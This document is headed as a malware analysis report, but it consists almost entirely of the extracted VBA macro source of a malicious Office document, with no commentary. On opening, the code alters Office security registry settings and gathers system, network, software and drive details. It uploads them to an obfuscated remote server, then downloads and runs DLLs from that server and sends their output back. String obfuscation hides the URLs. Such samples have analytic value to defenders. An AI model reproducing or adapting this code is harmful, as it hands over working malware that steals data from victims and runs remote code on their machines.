Malicious Office (OOXML) — malware analysis report

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function Col()
    strComputer = "."
 
    Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
    strComputer & "\root\default:StdRegProv")
    
    Dim strKeyPath
    vn = k("WCBXbsojoht")
    strKeyPath = k("TPGUXBSF]Njdsptpgu]Pggjdf]") & Application.Version & k("]Xpse]Tfdvsjuz")
    oReg.SetDwordValue &H80000001, strKeyPath, vn, 1
    strKeyPath = k("TPGUXBSF]Njdsptpgu]Pggjdf]") & Application.Version & k("]Fydfm]Tfdvsjuz")
    oReg.SetDwordValue &H80000001, strKeyPath, vn, 1
    
End Function


Private Sub Document_Open()
  On Error Resume Next
  Dim fn As String, ul As String
  
  If CheckBoot = False Then
    GoTo lb
  End If
  
  Col
  Const CSIDL_TEMPLATES = &H15
    
  Set objShell = CreateObject("Shell.Application")
  Set objFolder = objShell.Namespace(CSIDL_TEMPLATES)
  Set objFolderItem = objFolder.Self
  
  fn = objFolderItem.Path + "\info"
  GetInfo fn
  
  upf fn
  
  Set fso = CreateObject("Scripting.Filesystemobject")
  fso.DeleteFile fn, Force
  
  baseul = k("iuuq;00dtw/qptbebeftboujbhp/dpn0ipnf0@je>") + GetPCName() + Chr(38) + k("bdu>")
  
  ul = baseul + k("xcj") + Chr(38) + k("wfs>") + GetV()
  ExecDll ul, 0
  
  ul = baseul + k("tcl") + Chr(38) + k("wfs>") + GetV()
  ExecDll ul, 1
  
lb:
End Sub


Attribute VB_Name = "com"
Public Function upf(file As String, Optional ByVal fileType As String = "application/x-zip-compressed")
    fu = k("iuuq;00dtw/qptbebeftboujbhp/dpn0ipnf0vq/qiq@je>") + GetPCName
    Set xh = CreateObject(k("Njdsptpgu/YNMIUUQ"))
    Dim boundary
    boundary = "01234567890"
    
    Set objStream = CreateObject("ADODB.Stream")
    With objStream
        .Type = 1 ' binary
        .Open
        .LoadFromFile (file)
    End With

    Set sOut = CreateObject("ADODB.Stream")
    With sOut
        .Charset = "us-ascii"
        .Type = 2 ' Text!
        .Open
        .WriteText "--" & boundary & vbCrLf
        .WriteText "Content-Disposition: form-data; name=" & Chr(34) & "file" & Chr(34) & "; filename=" & Chr(34) & file & Chr(34) & vbCrLf
        .WriteText "Content-Type: " & fileType & vbCrLf & vbCrLf
    End With

    Set sOut2 = CreateObject("ADODB.Stream")
    With sOut2
        .Charset = "us-ascii"
        .Type = 2 ' Text
        .Open
        .WriteText vbCrLf & "--" & boundary & "--" & vbCrLf & vbCrLf
    End With
    
    Set sAll = CreateObject("ADODB.Stream")
    sAll.Type = 1 'binary
    sAll.Open
    sOut.Position = 0
    sOut.CopyTo sAll
    objStream.CopyTo sAll
    sOut2.Position = 0
    sOut2.CopyTo sAll
    
    xh.Open k("QPTU"), fu, False
    xh.setRequestHeader "Content-Type", "multipart/form-data; boundary=" & boundary
    xh.setRequestHeader k("Vtfs.Bhfou"), k("Np{jmmb06/1!)Xjoepxt!OU!7/2*!BqqmfXfcLju0648/47!)LIUNM-!mjlf!Hfdlp*!Dispnf042/1/22342/68!Tbgbsj0648/47")
    xh.setRequestHeader "Connection", "close"
    xh.setRequestHeader "Content-length", sAll.Size
    sAll.Position = 0
    xh.Send sAll.Read()
End Function

Attribute VB_Name = "info"
Public Function List_NetStat(objTextFile)

    ' List IP Configuration Data
    
    
    strComputer = "."
    
    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    
    Set colAdapters = objWMIService.ExecQuery _
        ("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE IPEnabled = True")
     
    n = 1
    objTextFile.WriteLine ""
    objTextFile.WriteLine "///////      Network Infomation          ///////"
    objTextFile.WriteLine ""
     
    For Each objAdapter In colAdapters
       objTextFile.WriteLine "Network Adapter " & n
       objTextFile.WriteLine "================="
       objTextFile.WriteLine "  Description: " & objAdapter.Description
     
       objTextFile.WriteLine "  Physical (MAC) address: " & objAdapter.MACAddress
       objTextFile.WriteLine "  Host name:              " & objAdapter.DNSHostName
     
       If Not IsNull(objAdapter.IPAddress) Then
          For i = 0 To UBound(objAdapter.IPAddress)
             objTextFile.WriteLine "  IP address:             " & objAdapter.IPAddress(i)
          Next
       End If
     
       If Not IsNull(objAdapter.IPSubnet) Then
          For i = 0 To UBound(objAdapter.IPSubnet)
             objTextFile.WriteLine "  Subnet:                 " & objAdapter.IPSubnet(i)
          Next
       End If
     
       If Not IsNull(objAdapter.DefaultIPGateway) Then
          For i = 0 To UBound(objAdapter.DefaultIPGateway)
             objTextFile.WriteLine "  Default gateway:        " & _
                 objAdapter.DefaultIPGateway(i)
          Next
       End If
     
       objTextFile.WriteLine
       objTextFile.WriteLine "  DNS"
       objTextFile.WriteLine "  ---"
       objTextFile.WriteLine "    DNS servers in search order:"
     
       If Not IsNull(objAdapter.DNSServerSearchOrder) Then
          For i = 0 To UBound(objAdapter.DNSServerSearchOrder)
             objTextFile.WriteLine "      " & objAdapter.DNSServerSearchOrder(i)
          Next
       End If
     
       objTextFile.WriteLine "    DNS domain: " & objAdapter.DNSDomain
     
       If Not IsNull(objAdapter.DNSDomainSuffixSearchOrder) Then
          For i = 0 To UBound(objAdapter.DNSDomainSuffixSearchOrder)
             objTextFile.WriteLine "    DNS suffix search list: " & _
                 objAdapter.DNSDomainSuffixSearchOrder(i)
          Next
       End If
     
       objTextFile.WriteLine
       objTextFile.WriteLine "  DHCP"
       objTextFile.WriteLine "  ----"
       objTextFile.WriteLine "    DHCP enabled:        " & objAdapter.DHCPEnabled
       objTextFile.WriteLine "    DHCP server:         " & objAdapter.DHCPServer
     
       If Not IsNull(objAdapter.DHCPLeaseObtained) Then
          utcLeaseObtained = objAdapter.DHCPLeaseObtained
          strLeaseObtained = WMIDateStringToDate(utcLeaseObtained)
       Else
          strLeaseObtained = ""
       End If
       objTextFile.WriteLine "    DHCP lease obtained: " & strLeaseObtained
     
       If Not IsNull(objAdapter.DHCPLeaseExpires) Then
          utcLeaseExpires = objAdapter.DHCPLeaseExpires
          strLeaseExpires = WMIDateStringToDate(utcLeaseExpires)
       Else
          strLeaseExpires = ""
       End If
       objTextFile.WriteLine "    DHCP lease expires:  " & strLeaseExpires
     
       objTextFile.WriteLine
       objTextFile.WriteLine "  WINS"
       objTextFile.WriteLine "  ----"
       objTextFile.WriteLine "    Primary WINS server:   " & objAdapter.WINSPrimaryServer
       objTextFile.WriteLine "    Secondary WINS server: " & objAdapter.WINSSecondaryServer
       objTextFile.WriteLine
     
       n = n + 1
     
    Next
 
End Function
Public Function WMIDateStringToDate(utcDate)
   WMIDateStringToDate = CDate(Mid(utcDate, 5, 2) & "/" & _
       Mid(utcDate, 7, 2) & "/" & _
           Left(utcDate, 4) & " " & _
               Mid(utcDate, 9, 2) & ":" & _
                   Mid(utcDate, 11, 2) & ":" & _
                      Mid(utcDate, 13, 2))
End Function

Public Function GetSysInfo(objTextFile)
    ' List Operating System Properties
    
    objTextFile.WriteLine ""
    objTextFile.WriteLine "///////      System Infomation           ///////"
    objTextFile.WriteLine ""
    Set dtmConvertedDate = CreateObject("WbemScripting.SWbemDateTime")
    
    strComputer = "."
    Set objWMIService = GetObject("winmgmts:" _
        & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
    
    Set colOperatingSystems = objWMIService.ExecQuery _
        ("Select * from Win32_OperatingSystem")
    
    For Each objOperatingSystem In colOperatingSystems
        objTextFile.WriteLine "Boot Device: " & objOperatingSystem.BootDevice
        objTextFile.WriteLine "Build Number: " & objOperatingSystem.BuildNumber
        objTextFile.WriteLine "Build Type: " & objOperatingSystem.BuildType
        objTextFile.WriteLine "Caption: " & objOperatingSystem.Caption
        objTextFile.WriteLine "Code Set: " & objOperatingSystem.CodeSet
        objTextFile.WriteLine "Country Code: " & objOperatingSystem.CountryCode
        objTextFile.WriteLine "Debug: " & objOperatingSystem.Debug
        objTextFile.WriteLine "Encryption Level: " & objOperatingSystem.EncryptionLevel
        dtmConvertedDate.Value = objOperatingSystem.InstallDate
        dtmInstallDate = dtmConvertedDate.GetVarDate
        objTextFile.WriteLine "Install Date: " & dtmInstallDate
        objTextFile.WriteLine "Licensed Users: " & _
            objOperatingSystem.NumberOfLicensedUsers
        objTextFile.WriteLine "Organization: " & objOperatingSystem.Organization
        objTextFile.WriteLine "OS Language: " & objOperatingSystem.OSLanguage
        objTextFile.WriteLine "OS Product Suite: " & objOperatingSystem.OSProductSuite
        objTextFile.WriteLine "OS Type: " & objOperatingSystem.OSType
        objTextFile.WriteLine "Primary: " & objOperatingSystem.Primary
        objTextFile.WriteLine "Registered User: " & objOperatingSystem.RegisteredUser
        objTextFile.WriteLine "Serial Number: " & objOperatingSystem.SerialNumber
        objTextFile.WriteLine "Version: " & objOperatingSystem.Version
    Next
    
End Function

Public Function GetSoftware(objTextFile)
    ' List All Installed Software
    
    objTextFile.WriteLine ""
    objTextFile.WriteLine "///////      Software Infomation         ///////"
    objTextFile.WriteLine ""
    Const HKLM = &H80000002 'HKEY_LOCAL_MACHINE
    strComputer = "."
    strKey = "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\"
    strEntry1a = "DisplayName"
    strEntry1b = "QuietDisplayName"
    strEntry2 = "InstallDate"
    strEntry3 = "VersionMajor"
    strEntry4 = "VersionMinor"
    strEntry5 = "EstimatedSize"
    
    Set objReg = GetObject("winmgmts://" & strComputer & _
     "/root/default:StdRegProv")
    objReg.EnumKey HKLM, strKey, arrSubkeys
    objTextFile.WriteLine "Installed Applications" & vbCrLf
    For Each strSubkey In arrSubkeys
      intRet1 = objReg.GetStringValue(HKLM, strKey & strSubkey, _
       strEntry1a, strValue1)
      If intRet1 <> 0 Then
        objReg.GetStringValue HKLM, strKey & strSubkey, _
         strEntry1b, strValue1
      End If
      If strValue1 <> "" Then
        objTextFile.WriteLine vbCrLf & "Display Name: " & strValue1
      End If
      objReg.GetStringValue HKLM, strKey & strSubkey, _
       strEntry2, strValue2
      If strValue2 <> "" Then
        objTextFile.WriteLine "Install Date: " & strValue2
      End If
      objReg.GetDWORDValue HKLM, strKey & strSubkey, _
       strEntry3, intValue3
      objReg.GetDWORDValue HKLM, strKey & strSubkey, _
       strEntry4, intValue4
      If intValue3 <> "" Then
         objTextFile.WriteLine "Version: " & intValue3 & "." & intValue4
      End If
      objReg.GetDWORDValue HKLM, strKey & strSubkey, _
       strEntry5, intValue5
      If intValue5 <> "" Then
        objTextFile.WriteLine "Estimated Size: " & Round(intValue5 / 1024, 3) & " megabytes"
      End If
    Next

End Function

Public Function GetComputerDriveInfo(objTextFile)
    '   Computer Drive Folder & File Tree Information
    objTextFile.WriteLine ""
    objTextFile.WriteLine "///////      Drive Infomation            ///////"
    objTextFile.WriteLine ""
    
    Set objShell = CreateObject("Shell.Application")

    
    Const MY_COMPUTER = &H11
    Set objFolder = objShell.Namespace(MY_COMPUTER)
    Set objFolderItem = objFolder.Self
    Set colItems = objFolder.Items
    For Each objItem In colItems
        objTextFile.WriteLine (objItem.Name)
    Next
End Function


Public Function GetInfo(szFileName)

    ' List Items in the "Templates" folder
    
    Const ForAppending = 2
    Const ForReading = 1
    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objTextFile = objFSO.OpenTextFile(szFileName, ForAppending, True)

    GetSysInfo objTextFile
    List_NetStat objTextFile
    GetSoftware objTextFile
    GetComputerDriveInfo objTextFile
End Function






Attribute VB_Name = "library"
Private Declare PtrSafe Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As LongPtr
Private Declare PtrSafe Function FreeLibrary Lib "kernel32" (ByVal hLibModule As LongPtr) As Long
Private Declare PtrSafe Function outinfo Lib "m" () As Boolean
Private Declare PtrSafe Function outinfo1 Lib "m1" Alias "outinfo" () As Boolean

Public Function l(str)
: Dim i, j, k, r
: j = Len(str)
: r = ""
: For i = 1 To j
: k = Asc(Mid(str, i, 1))
        If k >= 33 And k <= 126 Then
            r = r & Chr(33 + ((k + 14) Mod 94))
        Else
            r = r & Chr(k)
: End If
: Next
: l = r
: End Function
Public Function k(str)
    Dim vlOf
    For qnx = 1 To Len(str)
        vlOf = vlOf + Chr(Asc(Mid$(str, qnx, 1)) - 1)
    Next qnx
    k = vlOf
End Function
Public Function GetPCName()
  strComputer = "."
  Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
  Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_ComputerSystem")
  For Each objItem In colItems
    GetPCName = objItem.Name
    Exit Function
  Next
End Function
Public Function GetV()
    Dim WshShell
    Dim WshProcEnv
    Dim process_architecture
    Dim Ver
    
    Set WshShell = CreateObject("WScript.Shell")
    Set WshProcEnv = WshShell.Environment("Process")
    
    process_architecture = WshProcEnv("PROCESSOR_ARCHITECTURE")
    
    If process_architecture <> "x86" Then
        process_architecture = "x64"
    End If
    
    GetV = process_architecture
End Function
Public Function Unload(a As String)
    Dim FreeResult As Long
    Dim hLib As LongPtr
    hLib = 1
    
    Do Until hLib = 0
        hLib = GetModuleHandle(a)
        FreeResult = FreeLibrary(hLib)
    Loop
End Function

Public Function ExecDll(furl As String, number)
    Dim sDir As String
    Dim fndll As String, s As Boolean, fso
    sDir = CurDir
    Dim xh: Set xh = CreateObject(k("Njdsptpgu/YNMIUUQ"))
    Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
    
    xh.Open "GET", furl, False
    xh.setRequestHeader k("Vtfs.Bhfou"), k("Np{jmmb06/1!)Xjoepxt!OU!7/2*!BqqmfXfcLju0648/47!)LIUNM-!mjlf!Hfdlp*!Dispnf042/1/22342/68!Tbgbsj0648/47")
    xh.Send
    
    fndll = sDir & "\" & k("n")
    If number = 1 Then
        fndll = fndll & "1"
    End If
    fndll = fndll & k("/emm")
    With bStrm
        .Type = 1
        .Open
        .Write xh.responseBody
        .savetofile fndll, 2
    End With
    
    If number = 0 Then
        s = outinfo
        Unload ("m")
    Else
        s = outinfo1
        Unload ("m1")
    End If
        
    Dim liv As String
    
    Set fso = CreateObject("Scripting.Filesystemobject")
    fso.DeleteFile fndll, Force
    
    liv = sDir & k("]x/y")
    If fso.FileExists(liv) Then
        upf liv
        fso.DeleteFile liv, Force
    End If
End Function


Attribute VB_Name = "security"
Function CheckReg() As Boolean
    strComputer = "."
    Dim dwValue As Long
 
    Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
    strComputer & "\root\default:StdRegProv")
    
    Dim strKeyPath
    vn = k("Xbsojoht")
    strKeyPath = k("Qsjoufst]EfwNpefQfsVtfs")
    oReg.SetDwordValue &H80000001, strKeyPath, vn, 3
    
    Set cReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" & _
    strComputer & "\root\default:StdRegProv")
    cReg.GetDWORDValue &H80000001, strKeyPath, vn, dwValue
    
    oReg.DeleteValue &H80000001, strKeyPath, vn
    If dwValue = 3 Then
        CheckReg = True
    Else
        CheckReg = False
    End If
End Function
Function CheckFile() As Boolean
    Const FOR_READING = 1
    Const FOR_WRITING = 2
        
    strFileName = Application.NormalTemplate.Path & "\" & k("du/{")
    strContents = "sample string content"
    
    Set objFS = CreateObject("Scripting.FileSystemObject")
    objFS.CreateTextFile (strFileName)
    Set objTS = objFS.OpenTextFile(strFileName, FOR_WRITING)
    objTS.Write strContents
    objTS.Close
    
    Set objTS = objFS.OpenTextFile(strFileName, FOR_READING)
    strNewContent = objTS.ReadAll
    objTS.Close
    
    objFS.DeleteFile strFileName
    If strContents = strNewContent Then
        CheckFile = True
    Else
        CheckFile = False
    End If
End Function

Public Function CheckBoot() As Boolean
    CheckBoot = False
    If CheckReg = True Then
        If CheckFile = True Then
            CheckBoot = True
        End If
    End If
End Function